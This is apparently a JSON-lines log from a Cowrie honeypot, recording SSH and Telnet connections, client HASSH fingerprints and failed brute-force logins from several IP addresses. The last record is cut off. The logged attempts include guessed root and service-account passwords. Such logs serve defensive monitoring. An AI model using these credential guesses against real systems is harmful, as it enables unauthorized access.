{"eventid":"cowrie.login.failed","username":"proxy","password":"proxy1","message":"login attempt [proxy/proxy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:05.568935Z","src_ip":"213.209.159.158","session":"d8af9a7ad386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:09.274776Z","src_ip":"213.209.159.158","session":"d8af9a7ad386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":10658,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0213acfc996","protocol":"ssh","message":"New connection: 213.209.159.158:10658 (159.203.135.109:22) [session: e0213acfc996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:09.361693Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":40336,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cdcfdae34ba","protocol":"ssh","message":"New connection: 103.183.114.55:40336 (159.203.135.109:22) [session: 5cdcfdae34ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:10.189309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:10.194979Z","src_ip":"103.183.114.55","session":"5cdcfdae34ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:10.420340Z","src_ip":"103.183.114.55","session":"5cdcfdae34ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qw23er4","message":"login attempt [root/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:11.279388Z","src_ip":"103.183.114.55","session":"5cdcfdae34ba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:11.513468Z","src_ip":"213.209.159.158","session":"e0213acfc996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:11.518641Z","src_ip":"213.209.159.158","session":"e0213acfc996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:12.512630Z","src_ip":"103.183.114.55","session":"5cdcfdae34ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openserv","password":"openserv","message":"login attempt [openserv/openserv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:20.691904Z","src_ip":"213.209.159.158","session":"e0213acfc996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:24.335371Z","src_ip":"213.209.159.158","session":"e0213acfc996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51188,"dst_ip":"159.203.135.109","dst_port":22,"session":"712dea2e2f86","protocol":"ssh","message":"New connection: 213.209.159.158:51188 (159.203.135.109:22) [session: 712dea2e2f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:24.437627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:26.699723Z","src_ip":"213.209.159.158","session":"712dea2e2f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:26.704338Z","src_ip":"213.209.159.158","session":"712dea2e2f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45780,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1ff78e4d490","protocol":"telnet","message":"New connection: 152.42.224.71:45780 (10.17.0.5:23) [session: a1ff78e4d490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:34.794236Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rOOT1","message":"login attempt [root/rOOT1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:35.992697Z","src_ip":"213.209.159.158","session":"712dea2e2f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.7","message":"Connection lost after 14.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:39.167669Z","src_ip":"213.209.159.158","session":"712dea2e2f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29936,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8284ba749d6","protocol":"ssh","message":"New connection: 213.209.159.158:29936 (159.203.135.109:22) [session: c8284ba749d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:39.263950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:41.310184Z","src_ip":"213.209.159.158","session":"c8284ba749d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:41.314048Z","src_ip":"213.209.159.158","session":"c8284ba749d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root0123","message":"login attempt [root/root0123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:51.230245Z","src_ip":"213.209.159.158","session":"c8284ba749d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:54.340710Z","src_ip":"213.209.159.158","session":"c8284ba749d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55020,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea692409a23","protocol":"ssh","message":"New connection: 213.209.159.158:55020 (159.203.135.109:22) [session: 1ea692409a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:54.420269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:56.905221Z","src_ip":"213.209.159.158","session":"1ea692409a23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:00:56.909283Z","src_ip":"213.209.159.158","session":"1ea692409a23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123?","message":"login attempt [root/Root123?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:06.323499Z","src_ip":"213.209.159.158","session":"1ea692409a23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:09.396199Z","src_ip":"213.209.159.158","session":"1ea692409a23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61686,"dst_ip":"159.203.135.109","dst_port":22,"session":"84e6d808eaf4","protocol":"ssh","message":"New connection: 213.209.159.158:61686 (159.203.135.109:22) [session: 84e6d808eaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:09.501735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:11.950185Z","src_ip":"213.209.159.158","session":"84e6d808eaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:11.955805Z","src_ip":"213.209.159.158","session":"84e6d808eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.03267502784729,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:15.826769Z","src_ip":"152.42.224.71","session":"a1ff78e4d490","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51784,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6748ad93cd7","protocol":"telnet","message":"New connection: 152.42.224.71:51784 (10.17.0.5:23) [session: c6748ad93cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:19.585188Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51792,"dst_ip":"10.17.0.5","dst_port":23,"session":"66b413ebe26a","protocol":"telnet","message":"New connection: 152.42.224.71:51792 (10.17.0.5:23) [session: 66b413ebe26a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:20.616204Z"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"ricardo","message":"login attempt [ricardo/ricardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:21.215837Z","src_ip":"213.209.159.158","session":"84e6d808eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:24.815526Z","src_ip":"213.209.159.158","session":"84e6d808eaf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30982,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64aa6f4088d","protocol":"ssh","message":"New connection: 213.209.159.158:30982 (159.203.135.109:22) [session: c64aa6f4088d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:24.919123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:27.073512Z","src_ip":"213.209.159.158","session":"c64aa6f4088d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:27.077913Z","src_ip":"213.209.159.158","session":"c64aa6f4088d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":14420,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dcf77815ec5","protocol":"ssh","message":"New connection: 79.127.181.44:14420 (10.17.0.5:22) [session: 6dcf77815ec5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:31.835583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:32.037333Z","src_ip":"79.127.181.44","session":"6dcf77815ec5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:32.233029Z","src_ip":"79.127.181.44","session":"6dcf77815ec5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:32.245114Z","src_ip":"79.127.181.44","session":"6dcf77815ec5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33074,"dst_ip":"159.203.135.109","dst_port":22,"session":"00a8705d9170","protocol":"ssh","message":"New connection: 213.209.159.56:33074 (159.203.135.109:22) [session: 00a8705d9170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:35.995647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:01:36.001808Z","src_ip":"213.209.159.56","session":"00a8705d9170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","a